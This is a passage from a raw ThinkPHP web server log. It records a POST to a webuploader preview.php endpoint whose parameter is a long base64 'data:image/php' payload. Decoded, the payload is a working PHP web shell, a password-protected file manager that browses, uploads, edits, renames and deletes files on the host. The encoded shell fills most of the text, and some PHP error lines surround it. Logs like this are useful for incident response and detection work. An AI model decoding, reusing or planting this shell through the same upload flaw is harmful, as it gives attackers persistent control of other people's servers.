ZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:26:11+08:00 ] 119.42.146.234 POST 51tianwei.com/static/admin/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002731s] [吞吐率:366.15req/s] [内存消耗:196.69kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5y